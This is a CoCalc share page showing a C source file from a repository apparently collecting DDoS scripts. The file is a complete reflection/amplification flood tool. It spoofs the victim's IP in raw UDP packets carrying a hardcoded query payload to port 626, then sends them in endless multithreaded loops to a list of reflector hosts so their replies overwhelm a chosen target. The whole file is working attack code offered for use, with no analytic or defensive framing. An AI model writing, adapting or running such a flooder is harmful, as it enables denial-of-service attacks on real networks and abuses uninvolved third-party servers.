Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/AMP Methods/MAC-Serialnumberd Amplification/mac.c
4622 views
1
/* MAC Amplification */
2
3
/* Made by shroom, credit me cus im swag for payload and idk for original ssdp script. */
4
5
#include <time.h>
6
#include <pthread.h>
7
#include <unistd.h>
8
#include <stdio.h>
9
#include <stdlib.h>
10
#include <string.h>
11
#include <sys/socket.h>
12
#include <netinet/ip.h>
13
#include <netinet/udp.h>
14
#include <arpa/inet.h>
15
#define MAX_PACKET_SIZE 8192
16
#define PHI 0x9e3779b9
17
static uint32_t Q[4096], c = 362436;
18
struct list
19
{
20
struct sockaddr_in data;
21
struct list *next;
22
struct list *prev;
23
};
24
struct list *head;
25
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
26
void init_rand(uint32_t x)
27
{
28
int i;
29
Q[0] = x;
30
Q[1] = x + PHI;
31
Q[2] = x + PHI + PHI;
32
for (i = 3; i < 4096; i++)
33
{
34
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
35
}
36
}
37
38
uint32_t rand_cmwc(void)
39
{
40
uint64_t t, a = 18782LL;
41
static uint32_t i = 4095;
42
uint32_t x, r = 0xfffffffe;
43
i = (i + 1) & 4095;
44
t = a * Q[i] + c;
45
c = (t >> 32);
46
x = t + c;
47
if (x < c) {
48
x++;
49
c++;
50
}
51
return (Q[i] = r - x);
52
}
53
54
/* function for header checksums */
55
unsigned short csum (unsigned short *buf, int nwords)
56
{
57
unsigned long sum;
58
for (sum = 0; nwords > 0; nwords--)
59
sum += *buf++;
60
sum = (sum >> 16) + (sum & 0xffff);
61
sum += (sum >> 16);
62
return (unsigned short)(~sum);
63
}
64
65
void setup_ip_header(struct iphdr *iph)
66
{
67
iph->ihl = 5;
68
iph->version = 4;
69
iph->tos = 0;
70
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 30;
71
iph->id = htonl(54321);
72
iph->frag_off = 0;
73
iph->ttl = MAXTTL;
74
iph->protocol = IPPROTO_UDP;
75
iph->check = 0;
76
iph->saddr = inet_addr("192.168.3.100");
77
}
78
79
void setup_udp_header(struct udphdr *udph)
80
{
81
udph->source = htons(5678);
82
udph->dest = htons(626);
83
udph->check = 0;
84
memcpy((void *)udph + sizeof(struct udphdr), "\x53\x4e\x51\x55\x45\x52\x59\x3a\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x41\x41\x41\x41\x41\x41\x3a\x78\x73\x76\x72", 30);
85
udph->len=htons(sizeof(struct udphdr) + 30);
86
}
87
88
void *flood(void *par1)
89
{
90
struct thread_data *td = (struct thread_data *)par1;
91
char datagram[MAX_PACKET_SIZE];
92
struct iphdr *iph = (struct iphdr *)datagram;
93
struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
94
struct sockaddr_in sin = td->sin;
95
struct list *list_node = td->list_node;
96
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
97
if(s < 0){
98
fprintf(stderr, "Could not open raw socket.\n");
99
exit(-1);
100
}
101
init_rand(time(NULL));
102
memset(datagram, 0, MAX_PACKET_SIZE);
103
setup_ip_header(iph);
104
setup_udp_header(udph);
105
udph->source = sin.sin_port;
106
iph->saddr = sin.sin_addr.s_addr;
107
iph->daddr = list_node->data.sin_addr.s_addr;
108
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
109
int tmp = 1;
110
const int *val = &tmp;
111
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
112
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
113
exit(-1);
114
}
115
int i=0;
116
while(1){
117
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
118
list_node = list_node->next;
119
iph->daddr = list_node->data.sin_addr.s_addr;
120
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
121
if(i==5)
122
{
123
usleep(0);
124
i=0;
125
}
126
i++;
127
}
128
}
129
int main(int argc, char *argv[ ])
130
{
131
if(argc < 4){
132
fprintf(stderr, "Invalid parameters!\n");
133
fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <throttle> <time (optional)>\n", argv[0]);
134
exit(-1);
135
}
136
int i = 0;
137
head = NULL;
138
fprintf(stdout, "Setting up Sockets...\n");
139
int max_len = 128;
140
char *buffer = (char *) malloc(max_len);
141
buffer = memset(buffer, 0x00, max_len);
142
int num_threads = atoi(argv[4]);
143
FILE *list_fd = fopen(argv[3], "r");
144
while (fgets(buffer, max_len, list_fd) != NULL) {
145
if ((buffer[strlen(buffer) - 1] == '\n') ||
146
(buffer[strlen(buffer) - 1] == '\r')) {
147
buffer[strlen(buffer) - 1] = 0x00;
148
if(head == NULL)
149
{
150
head = (struct list *)malloc(sizeof(struct list));
151
bzero(&head->data, sizeof(head->data));
152
head->data.sin_addr.s_addr=inet_addr(buffer);
153
head->next = head;
154
head->prev = head;
155
} else {
156
struct list *new_node = (struct list *)malloc(sizeof(struct list));
157
memset(new_node, 0x00, sizeof(struct list));
158
new_node->data.sin_addr.s_addr=inet_addr(buffer);
159
new_node->prev = head;
160
new_node->next = head->next;
161
head->next = new_node;
162
}
163
i++;
164
} else {
165
continue;
166
}
167
}
168
struct list *current = head->next;
169
pthread_t thread[num_threads];
170
struct sockaddr_in sin;
171
sin.sin_family = AF_INET;
172
sin.sin_port = htons(atoi(argv[2]));
173
sin.sin_addr.s_addr = inet_addr(argv[1]);
174
struct thread_data td[num_threads];
175
for(i = 0;i<num_threads;i++){
176
td[i].thread_id = i;
177
td[i].sin= sin;
178
td[i].list_node = current;
179
pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
180
}
181
fprintf(stdout, "Starting Flood...\n");
182
if(argc > 5)
183
{
184
sleep(atoi(argv[5]));
185
} else {
186
while(1){
187
sleep(1);
188
}
189
}
190
return 0;
191
}
192